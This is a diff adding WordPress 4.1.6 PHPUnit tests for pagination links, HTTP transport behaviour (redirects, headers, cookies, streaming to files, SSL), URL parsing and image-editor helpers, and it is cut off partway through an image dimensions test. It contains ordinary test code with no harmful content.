+		// < Previous 1 ... 49 50 51 ... 100 Next >
+		$this->assertEquals( 5, $this->i18n_count );
+		remove_filter( 'number_format_i18n', array( $this, 'increment_i18n_count' ) );
+	}
+
+	/**
+	 * @ticket 24606
+	 */
+	function test_paginate_links_base_value() {
+
+		// Current page: 2
+		$links = paginate_links( array(
+			'current'  => 2,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+		) );
+
+		$expected_attributes = array(
+			array(
+				'href'  => home_url( '/' ),
+				'class' => 'prev page-numbers'
+			),
+			array(
+				'href'  => home_url( '/' ),
+				'class' => 'page-numbers'
+			)
+		);
+
+		$document = new DOMDocument();
+		$document->preserveWhiteSpace = false;
+
+		// The first two links should link to page 1
+		foreach ( $expected_attributes as $link_idx => $attributes ) {
+
+			$document->loadHTML( $links[$link_idx] );
+			$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+
+			$this->assertNotNull( $tag );
+
+			$href  = $tag->attributes->getNamedItem( 'href' )->value;
+			$class = $tag->attributes->getNamedItem( 'class' )->value;
+
+			$this->assertEquals( $attributes['href'], $href );
+			$this->assertEquals( $attributes['class'], $class );
+		}
+
+		// Current page: 1
+		$links = paginate_links( array(
+			'current'  => 1,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+		) );
+
+		$document->loadHTML( $links[0] );
+		$tag = $document->getElementsByTagName( 'span' )->item( 0 );
+		$this->assertNotNull( $tag );
+
+		$class = $tag->attributes->getNamedItem( 'class' )->value;
+		$this->assertEquals( 'page-numbers current', $class );
+
+		$document->loadHTML( $links[1] );
+		$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+		$this->assertNotNull( $tag );
+
+		$href = $tag->attributes->getNamedItem( 'href' )->value;
+		$this->assertEquals( get_pagenum_link( 2 ), $href );
+	}
+
+	function add_query_arg( $url ) {
+		return add_query_arg( array(
+			'foo' => 'bar',
+			's'   => 'search+term',
+		), $url );
+	}
+
+	/**
+	 * @ticket 29636
+	 */
+	function test_paginate_links_query_args() {
+		add_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+		$links = paginate_links( array(
+			'current'  => 2,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+		) );
+		remove_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+
+		$document = new DOMDocument();
+		$document->preserveWhiteSpace = false;
+
+		// All links should have foo=bar arguments and be escaped:
+		$data = array(
+			0 => home_url( '/?foo=bar&s=search+term' ),
+			1 => home_url( '/?foo=bar&s=search+term' ),
+			3 => home_url( '/?paged=3&foo=bar&s=search+term' ),
+			5 => home_url( '/?paged=5&foo=bar&s=search+term' ),
+			6 => home_url( '/?paged=3&foo=bar&s=search+term' ),
+		);
+
+		foreach ( $data as $index => $expected_href ) {
+			$document->loadHTML( $links[ $index ] );
+			$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+			$this->assertNotNull( $tag );
+
+			$href = $tag->attributes->getNamedItem( 'href' )->value;
+			$this->assertEquals( $expected_href, $href );
+		}
+	}
+
+	/**
+	 * @ticket 30831
+	 */
+	function test_paginate_links_with_custom_query_args() {
+		add_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+		$links = paginate_links( array(
+			'current'  => 2,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+			'add_args' => array(
+				'baz' => 'qux',
+			),
+		) );
+		remove_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+
+		$document = new DOMDocument();
+		$document->preserveWhiteSpace = false;
+
+		$data = array(
+			0 => home_url( '/?baz=qux&foo=bar&s=search+term' ),
+			1 => home_url( '/?baz=qux&foo=bar&s=search+term' ),
+			3 => home_url( '/?paged=3&baz=qux&foo=bar&s=search+term' ),
+			5 => home_url( '/?paged=5&baz=qux&foo=bar&s=search+term' ),
+			6 => home_url( '/?paged=3&baz=qux&foo=bar&s=search+term' ),
+		);
+
+		foreach ( $data as $index => $expected_href ) {
+			$document->loadHTML( $links[ $index ] );
+			$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+			$this->assertNotNull( $tag );
+
+			$href = $tag->attributes->getNamedItem( 'href' )->value;
+			$this->assertEquals( $expected_href, $href );
+		}
+	}
+
+	/**
+	 * @ticket 30831
+	 */
+	public function test_paginate_links_should_allow_non_default_format_without_add_args() {
+		// Fake the query params.
+		$request_uri = $_SERVER['REQUEST_URI'];
+		$_SERVER['REQUEST_URI'] = add_query_arg( 'foo', 3, home_url() );
+
+		$links = paginate_links( array(
+			'base'    => add_query_arg( 'foo', '%#%' ),
+			'format'  => '',
+			'total'   => 5,
+			'current' => 3,
+			'type'    => 'array',
+		) );
+
+		$this->assertContains( '?foo=1', $links[1] );
+		$this->assertContains( '?foo=2', $links[2] );
+		$this->assertContains( '?foo=4', $links[4] );
+		$this->assertContains( '?foo=5', $links[5] );
+
+		$_SERVER['REQUEST_URI'] = $request_uri;
+	}
+
+	/**
+	 * @ticket 30831
+	 */
+	public function test_paginate_links_should_allow_add_args_to_be_bool_false() {
+		// Fake the query params.
+		$request_uri = $_SERVER['REQUEST_URI'];
+		$_SERVER['REQUEST_URI'] = add_query_arg( 'foo', 3, home_url() );
+
+		$links = paginate_links( array(
+			'add_args' => false,
+			'base'    => add_query_arg( 'foo', '%#%' ),
+			'format'  => '',
+			'total'   => 5,
+			'current' => 3,
+			'type'    => 'array',
+		) );
+
+		$this->assertContains( "<span class='page-numbers current'>3</span>", $links );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/http/base.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/http/base.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/http/base.php	(revision 33402)
@@ -0,0 +1,312 @@
+<?php
+/**
+ * Note, When running these tests, remember that some things are done differently
+ * based on safe_mode. You can run the test in safe_mode like such:
+ *
+ *   phpunit -d safe_mode=on --group http
+ *
+ * You may also need `-d safe_mode_gid=1` to relax the safe_mode checks to allow
+ * inclusion of PEAR.
+ *
+ * The WP_HTTP tests require a class-http.php file of r17550 or later.
+ */
+abstract class WP_HTTP_UnitTestCase extends WP_UnitTestCase {
+	// You can use your own version of data/WPHTTP-testcase-redirection-script.php here.
+	var $redirection_script = 'http://api.wordpress.org/core/tests/1.0/redirection.php';
+
+	function setUp() {
+
+		if ( is_callable( array('WP_HTTP', '_getTransport') ) ) {
+			$this->markTestSkipped('The WP_HTTP tests require a class-http.php file of r17550 or later.');
+			return;
+		}
+
+		$class = "WP_HTTP_" . $this->transport;
+		if ( !call_user_func( array($class, 'test') ) ) {
+			$this->markTestSkipped( sprintf('The transport %s is not supported on this system', $this->transport) );
+		}
+
+		// Disable all transports aside from this one.
+		foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) {
+			remove_filter( "use_{$t}_transport", '__return_false' ); // Just strip them all
+			if ( $t != $this->transport )
+				add_filter( "use_{$t}_transport", '__return_false' ); // and add it back if need be..
+		}
+	}
+
+	function tearDown() {
+		foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) {
+			remove_filter( "use_{$t}_transport", '__return_false' );
+		}
+		parent::tearDown();
+	}
+
+	function test_redirect_on_301() {
+		// 5 : 5 & 301
+		$res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 5) );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals(200, (int)$res['response']['code'] );
+	}
+
+	function test_redirect_on_302() {
+		// 5 : 5 & 302
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 5) );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals(200, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirect_on_301_no_redirect() {
+		// 5 > 0 & 301
+		$res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 0) );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals(301, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirect_on_302_no_redirect() {
+		// 5 > 0 & 302
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals(302, (int)$res['response']['code'] );
+	}
+
+	function test_redirections_equal() {
+		// 5 - 5
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5) );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals(200, (int)$res['response']['code'] );
+	}
+
+	function test_no_head_redirections() {
+		// No redirections on HEAD request:
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 1, array('method' => 'HEAD') );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals( 302, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirect_on_head() {
+		// Redirections on HEAD request when Requested
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5, 'method' => 'HEAD') );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals( 200, (int)$res['response']['code'] );
+	}
+
+	function test_redirections_greater() {
+		// 10 > 5
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 10, array('redirection' => 5) );
+		$this->assertTrue( is_wp_error($res), print_r($res, true) );
+	}
+
+	function test_redirections_greater_edgecase() {
+		// 6 > 5 (close edgecase)
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 6, array('redirection' => 5) );
+		$this->assertTrue( is_wp_error($res) );
+	}
+
+	function test_redirections_less_edgecase() {
+		// 4 < 5 (close edgecase)
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 4, array('redirection' => 5) );
+		$this->assertFalse( is_wp_error($res) );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirections_zero_redirections_specified() {
+		// 0 redirections asked for, Should return the document?
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) );
+		$this->assertFalse( is_wp_error($res) );
+		$this->assertEquals( 302, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * Do not redirect on non 3xx status codes
+	 *
+	 * @ticket 16889
+	 */
+	function test_location_header_on_201() {
+		// Prints PASS on initial load, FAIL if the client follows the specified redirection
+		$res = wp_remote_request( $this->redirection_script . '?201-location=true' );
+		$this->assertFalse( is_wp_error( $res ) );
+		$this->assertEquals( 'PASS', $res['body']);
+	}
+
+	/**
+	 * Test handling of PUT requests on redirects
+	 *
+	 * @ticket 16889
+	 */
+	function test_no_redirection_on_PUT() {
+		$url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?201-location=1';
+
+		// Test 301 - POST to POST
+		$res = wp_remote_request( $url, array( 'method' => 'PUT', 'timeout' => 30 ) );
+		$this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+		$this->assertTrue( !empty( $res['headers']['location'] ) );
+	}
+
+	/**
+	 * @ticket 11888
+	 */
+	function test_send_headers() {
+		// Test that the headers sent are recieved by the server
+		$headers = array('test1' => 'test', 'test2' => 0, 'test3' => '');
+		$res = wp_remote_request( $this->redirection_script . '?header-check', array('headers' => $headers) );
+
+		$this->assertFalse( is_wp_error($res) );
+
+		$headers = array();
+		foreach ( explode("\n", $res['body']) as $key => $value ) {
+			if ( empty($value) )
+				continue;
+			$parts = explode(':', $value,2);
+			unset($headers[$key]);
+			$headers[ $parts[0] ] = $parts[1];
+		}
+
+		$this->assertTrue( isset($headers['test1']) && 'test' == $headers['test1'] );
+		$this->assertTrue( isset($headers['test2']) && '0' === $headers['test2'] );
+		// cURL/HTTP Extension Note: Will never pass, cURL does not pass headers with an empty value.
+		// Should it be that empty headers with empty values are NOT sent?
+		//$this->assertTrue( isset($headers['test3']) && '' === $headers['test3'] );
+	}
+
+	function test_file_stream() {
+		$url = 'http://unit-tests.svn.wordpress.org/trunk/data/images/2004-07-22-DSC_0007.jpg'; // we'll test against a file in the unit test data
+		$size = 87348;
+		$res = wp_remote_request( $url, array( 'stream' => true, 'timeout' => 30 ) ); //Auto generate the filename.
+
+		// Cleanup before we assert, as it'll return early. 
+		if ( ! is_wp_error( $res ) ) {
+			$filesize = filesize( $res['filename'] );
+			unlink( $res['filename'] );
+		}		
+
+		$this->assertFalse( is_wp_error( $res ) );
+		$this->assertEquals( '', $res['body'] ); // The body should be empty.
+		$this->assertEquals( $size, $res['headers']['content-length'] ); // Check the headers are returned (and the size is the same..)
+		$this->assertEquals( $size, $filesize ); // Check that the file is written to disk correctly without any extra characters
+	}
+
+	/**
+	 * @ticket 26726
+	 */
+	function test_file_stream_limited_size() {
+		$url = 'http://unit-tests.svn.wordpress.org/trunk/data/images/2004-07-22-DSC_0007.jpg'; // we'll test against a file in the unit test data
+		$size = 10000;
+		$res = wp_remote_request( $url, array( 'stream' => true, 'timeout' => 30, 'limit_response_size' => $size ) ); //Auto generate the filename.
+
+		// Cleanup before we assert, as it'll return early. 
+		if ( ! is_wp_error( $res ) ) {
+			$filesize = filesize( $res['filename'] );
+			unlink( $res['filename'] );
+		}
+
+		$this->assertFalse( is_wp_error( $res ) );
+		$this->assertEquals( $size, $filesize ); // Check that the file is written to disk correctly without any extra characters
+
+	}
+
+	/**
+	 * Test POST redirection methods
+	 *
+	 * @ticket 17588
+	 */
+	function test_post_redirect_to_method_300() {
+		$url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?post-redirect-to-method=1';
+
+		// Test 300 - POST to POST
+		$res = wp_remote_post( add_query_arg( 'response_code', 300, $url ), array( 'timeout' => 30 ) );
+		$this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) );
+
+		// Test 301 - POST to POST
+		$res = wp_remote_post( add_query_arg( 'response_code', 301, $url ), array( 'timeout' => 30 ) );
+		$this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) );
+
+		// Test 302 - POST to GET
+		$res = wp_remote_post( add_query_arg( 'response_code', 302, $url ), array( 'timeout' => 30 ) );
+		$this->assertEquals( 'GET', wp_remote_retrieve_body( $res ) );
+
+		// Test 303 - POST to GET
+		$res = wp_remote_post( add_query_arg( 'response_code', 303, $url ), array( 'timeout' => 30 ) );
+		$this->assertEquals( 'GET', wp_remote_retrieve_body( $res ) );
+
+		// Test 304 - POST to POST
+		$res = wp_remote_post( add_query_arg( 'response_code', 304, $url ), array( 'timeout' => 30 ) );
+		$this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) );
+	}
+
+	/**
+	 * Test HTTP Requests using an IP url, with a HOST header specified
+	 *
+	 * @ticket 24182
+	 */
+	function test_ip_url_with_host_header() {
+		$ip = gethostbyname( 'api.wordpress.org' );
+		$url = 'http://' . $ip . '/core/tests/1.0/redirection.php?print-pass=1';
+		$args = array(
+			'headers' => array(
+				'Host' => 'api.wordpress.org',
+			),
+			'timeout' => 30,
+			'redirection' => 0,
+		);
+
+		$res = wp_remote_get( $url, $args );
+		$this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+
+	}
+
+	/**
+	 * Test HTTP Redirects with multiple Location headers specified
+	 *
+	 * @ticket 16890
+	 */
+	function test_multiple_location_headers() {
+		$url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?multiple-location-headers=1';
+		$res = wp_remote_head( $url, array( 'timeout' => 30 ) );
+
+		$this->assertInternalType( 'array', wp_remote_retrieve_header( $res, 'location' ) );
+		$this->assertCount( 2, wp_remote_retrieve_header( $res, 'location' ) );
+
+		$res = wp_remote_get( $url, array( 'timeout' => 30 ) );
+		$this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+
+	}
+
+	/**
+	 * Test HTTP Cookie handling
+	 *
+	 * @ticket 21182
+	 */
+	function test_cookie_handling() {
+		$url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?cookie-test=1';
+
+		$res = wp_remote_get( $url );
+		$this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+	}
+
+	/**
+	 * Test if HTTPS support works
+	 *
+	 * @group ssl
+	 * @ticket 25007
+	 */
+	function test_ssl() {
+		if ( ! wp_http_supports( array( 'ssl' ) ) )
+			$this->markTestSkipped( 'This install of PHP does not support SSL' );
+
+		$res = wp_remote_get( 'https://wordpress.org/' );
+		$this->assertTrue( ! is_wp_error( $res ), print_r( $res, true ) );
+	}
+
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/http/curl.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/http/curl.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/http/curl.php	(revision 33402)
@@ -0,0 +1,11 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_curl extends WP_HTTP_UnitTestCase {
+	var $transport = 'curl';
+}
Index: /tags/4.1.6/tests/phpunit/tests/http/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/http/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/http/functions.php	(revision 33402)
@@ -0,0 +1,78 @@
+<?php
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_Functions extends WP_UnitTestCase {
+	function test_head_request() {
+		// this url give a direct 200 response
+		$url = 'http://asdftestblog1.files.wordpress.com/2007/09/2007-06-30-dsc_4700-1.jpg';
+		$response = wp_remote_head( $url );
+		$headers = wp_remote_retrieve_headers( $response );
+
+		$this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+		$this->assertEquals( 'image/jpeg', $headers['content-type'] );
+		$this->assertEquals( '40148', $headers['content-length'] );
+		$this->assertEquals( '200', wp_remote_retrieve_response_code( $response ) );
+	}
+
+	function test_head_redirect() {
+		// this url will 301 redirect
+		$url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+		$response = wp_remote_head( $url );
+		$this->assertEquals( '301', wp_remote_retrieve_response_code( $response ) );
+	}
+
+	function test_head_404() {
+		$url = 'http://asdftestblog1.files.wordpress.com/2007/09/awefasdfawef.jpg';
+		$headers = wp_remote_head( $url );
+
+		$this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+		$this->assertEquals( '404', wp_remote_retrieve_response_code( $headers ) );
+	}
+
+	function test_get_request() {
+		$url = 'http://asdftestblog1.files.wordpress.com/2007/09/2007-06-30-dsc_4700-1.jpg';
+		$file = tempnam('/tmp', 'testfile');
+
+		$headers = wp_get_http($url, $file);
+
+		// should return the same headers as a head request
+		$this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+		$this->assertEquals( 'image/jpeg', $headers['content-type'] );
+		$this->assertEquals( '40148', $headers['content-length'] );
+		$this->assertEquals( '200', $headers['response'] );
+
+		// make sure the file is ok
+		$this->assertEquals( 40148, filesize($file) );
+		$this->assertEquals( 'b0371a0fc575fcf77f62cd298571f53b', md5_file($file) );
+	}
+
+	function test_get_redirect() {
+		// this will redirect to asdftestblog1.files.wordpress.com
+		$url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+		$file = tempnam('/tmp', 'testfile');
+
+		$headers = wp_get_http($url, $file);
+
+		// should return the same headers as a head request
+		$this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+		$this->assertEquals( 'image/jpeg', $headers['content-type'] );
+		$this->assertEquals( '40148', $headers['content-length'] );
+		$this->assertEquals( '200', $headers['response'] );
+
+		// make sure the file is ok
+		$this->assertEquals( 40148, filesize($file) );
+		$this->assertEquals( 'b0371a0fc575fcf77f62cd298571f53b', md5_file($file) );
+	}
+
+	function test_get_redirect_limit_exceeded() {
+		// this will redirect to asdftestblog1.files.wordpress.com
+		$url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+		$file = tempnam('/tmp', 'testfile');
+		// pretend we've already redirected 5 times
+		$headers = wp_get_http( $url, $file, 6 );
+		$this->assertFalse( $headers );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/http/http.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/http/http.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/http/http.php	(revision 33402)
@@ -0,0 +1,114 @@
+<?php
+/**
+ * Non-transport-specific WP_HTTP Tests
+ *
+ * @group http
+ */
+class Tests_HTTP_HTTP extends WP_UnitTestCase {
+
+	/**
+	 * @dataProvider make_absolute_url_testcases
+	 */
+	function test_make_absolute_url( $relative_url, $absolute_url, $expected ) {
+		if ( ! is_callable( array( 'WP_HTTP', 'make_absolute_url' ) ) ) {
+			$this->markTestSkipped( "This version of WP_HTTP doesn't support WP_HTTP::make_absolute_url()" );
+			return;
+		}
+
+		$actual = WP_HTTP::make_absolute_url( $relative_url, $absolute_url );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function make_absolute_url_testcases() {
+		// 0: The Location header, 1: The current url, 3: The expected url
+		return array(
+			array( 'http://site.com/', 'http://example.com/', 'http://site.com/' ), // Absolute URL provided
+			array( '/location', '', '/location' ), // No current url provided
+
+			array( '', 'http://example.com', 'http://example.com/' ), // No location provided
+
+			// Location provided relative to site root
+			array( '/root-relative-link.ext', 'http://example.com/', 'http://example.com/root-relative-link.ext' ),
+			array( '/root-relative-link.ext?with=query', 'http://example.com/index.ext?query', 'http://example.com/root-relative-link.ext?with=query' ),
+
+			// Location provided relative to current file/directory
+			array( 'relative-file.ext', 'http://example.com/', 'http://example.com/relative-file.ext' ),
+			array( 'relative-file.ext', 'http://example.com/filename', 'http://example.com/relative-file.ext' ),
+			array( 'relative-file.ext', 'http://example.com/directory/', 'http://example.com/directory/relative-file.ext' ),
+
+			// Location provided relative to current file/directory but in a parent directory
+			array( '../file-in-parent.ext', 'http://example.com', 'http://example.com/file-in-parent.ext' ),
+			array( '../file-in-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-parent.ext' ),
+			array( '../file-in-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-parent.ext' ),
+			array( '../file-in-parent.ext', 'http://example.com/directory/filename', 'http://example.com/file-in-parent.ext' ),
+
+			// Location provided in muliple levels higher, including impossible to reach (../ below DOCROOT)
+			array( '../../file-in-grand-parent.ext', 'http://example.com', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/directory/filename/', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/directory1/directory2/filename', 'http://example.com/file-in-grand-parent.ext' ),
+
+			// Query strings should attach, or replace existing query string.
+			array( '?query=string', 'http://example.com', 'http://example.com/?query=string' ),
+			array( '?query=string', 'http://example.com/file.ext', 'http://example.com/file.ext?query=string' ),
+			array( '?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/file.ext?query=string' ),
+			array( 'otherfile.ext?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/otherfile.ext?query=string' ),
+
+			// A file with a leading dot
+			array( '.ext', 'http://example.com/', 'http://example.com/.ext' ),
+
+			// URls within URLs
+			array( '/expected', 'http://example.com/sub/http://site.com/sub/', 'http://example.com/expected' ),
+			array( '/expected/http://site.com/sub/', 'http://example.com/', 'http://example.com/expected/http://site.com/sub/' ),
+
+			// Schemeless URL's (Not valid in HTTP Headers, but may be used elsewhere)
+			array( '//example.com/sub/', 'https://example.net', 'https://example.com/sub/' ),
+		);
+	}
+
+	/**
+	 * @dataProvider parse_url_testcases
+	 */
+	function test_parse_url( $url, $expected ) {
+		if ( ! is_callable( array( 'WP_HTTP_Testable', 'parse_url' ) ) ) {
+			$this->markTestSkipped( "This version of WP_HTTP doesn't support WP_HTTP::parse_url()" );
+			return;
+		}
+		$actual = WP_HTTP_Testable::parse_url( $url );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function parse_url_testcases() {
+		// 0: The URL, 1: The expected resulting structure
+		return array(
+			array( 'http://example.com/', array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '/' ) ),
+
+			// < PHP 5.4.7: Schemeless URL
+			array( '//example.com/path/', array( 'host' => 'example.com', 'path' => '/path/' ) ),
+			array( '//example.com/', array( 'host' => 'example.com', 'path' => '/' ) ),
+			array( 'http://example.com//path/', array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '//path/' ) ),
+
+			// < PHP 5.4.7: Scheme seperator in the URL
+			array( 'http://example.com/http://example.net/', array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '/http://example.net/' ) ),
+			array( '/path/http://example.net/', array( 'path' => '/path/http://example.net/' ) ),
+			// PHP's parse_url() calls this an invalid url, we handle it as a path
+			array( '/://example.com/', array( 'path' => '/://example.com/' ) ),
+
+		);
+		/*
+		Untestable edge cases in various PHP:
+		  - ///example.com - Fails in PHP >= 5.4.7, assumed path in <5.4.7
+		  - ://example.com - assumed path in PHP >= 5.4.7, fails in <5.4.7
+		*/
+	}
+}
+
+/**
+ * A Wrapper of WP_HTTP to make parse_url() publicaly accessible for testing purposes.
+ */
+class WP_HTTP_Testable extends WP_HTTP {
+	public static function parse_url( $url ) {
+		return parent::parse_url( $url );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/http/streams.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/http/streams.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/http/streams.php	(revision 33402)
@@ -0,0 +1,11 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_streams extends WP_HTTP_UnitTestCase {
+	var $transport = 'streams';
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/base.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/base.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/base.php	(revision 33402)
@@ -0,0 +1,90 @@
+<?php
+
+/**
+ * @group image
+ */
+abstract class WP_Image_UnitTestCase extends WP_UnitTestCase {
+
+	/**
+	 * Set the image editor engine according to the unit test's specification
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		if ( ! call_user_func( array( $this->editor_engine, 'test' ) ) ) {
+			$this->markTestSkipped( sprintf('The image editor engine %s is not supported on this system', $this->editor_engine) );
+		}
+
+		add_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 );
+	}
+
+	/**
+	 * Undo the image editor override
+	 */
+	public function tearDown() {
+		remove_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 );
+		parent::tearDown();
+	}
+
+	/**
+	 * Override the image editor engine
+	 * @return string
+	 */
+	public function setEngine( $editors ) {
+		return array( $this->editor_engine );
+	}
+
+	/**
+	 * Helper assertion for testing alpha on images using GD library
+	 *
+	 * @param  string $image_path
+	 * @param  array $point      array(x,y)
+	 * @param  int $alpha
+	 */
+	protected function assertImageAlphaAtPointGD( $image_path, $point, $alpha ) {
+		$im = imagecreatefrompng( $image_path );
+		$rgb = imagecolorat( $im, $point[0], $point[1] );
+
+		$colors = imagecolorsforindex( $im, $rgb );
+
+		$this->assertEquals( $alpha, $colors['alpha'] );
+	}
+
+	/**
+	 * Helper assertion for testing alpha on images using Imagick
+	 *
+	 * @param string $image_path
+	 * @param array $point      array(x,y)
+	 * @param int $expected
+	 */
+	protected function assertImageAlphaAtPointImagick( $image_path, $point, $expected ) {
+		$im = new Imagick( $image_path );
+		$pixel = $im->getImagePixelColor( $point[0], $point[1] );
+		$color = $pixel->getColorValue( imagick::COLOR_ALPHA );
+		$this->assertEquals( $expected, $color );
+	}
+
+	/**
+	 * Helper assertion to check actual image dimensions on disk
+	 *
+	 * @param string $filename Image filename.
+	 * @param int    $width    Width to verify.
+	 * @param int    $height   Height to verify.
+	 */
+	protected function assertImageDimensions( $filename, $width, $height ) {
+		$detected_width = 0;
+		$detected_height = 0;
+		$image_size = @getimagesize( $filename );
+
+		if ( isset( $image_size[0] ) ) {
+			$detected_width = $image_size[0];
+		}
+
+		if ( isset( $image_size[1] ) ) {
+			$detected_height = $image_size[1];
+		}
+
+		$this->assertEquals( $width, $detected_width );
+		$this->assertEquals( $height, $detected_height );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/dimensions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/dimensions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/dimensions.php	(revision 33402)
@@ -0,0 +1,172 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Dimensions extends WP_UnitTestCase {
+	function test_400x400_no_crop() {
+		// landscape: resize 640x480 to fit 400x400: 400x300
+		$out = image_resize_dimensions(640, 480, 400, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 300x400
+		$out = image_resize_dimensions(480, 640, 400, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+	}
+
+	function test_400x0_no_crop() {
+		// landscape: resize 640x480 to fit 400w: 400x300
+		$out = image_resize_dimensions(640, 480, 400, 0, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400w: 400x533
+		$out = image_resize_dimensions(480, 640, 400, 0, false);
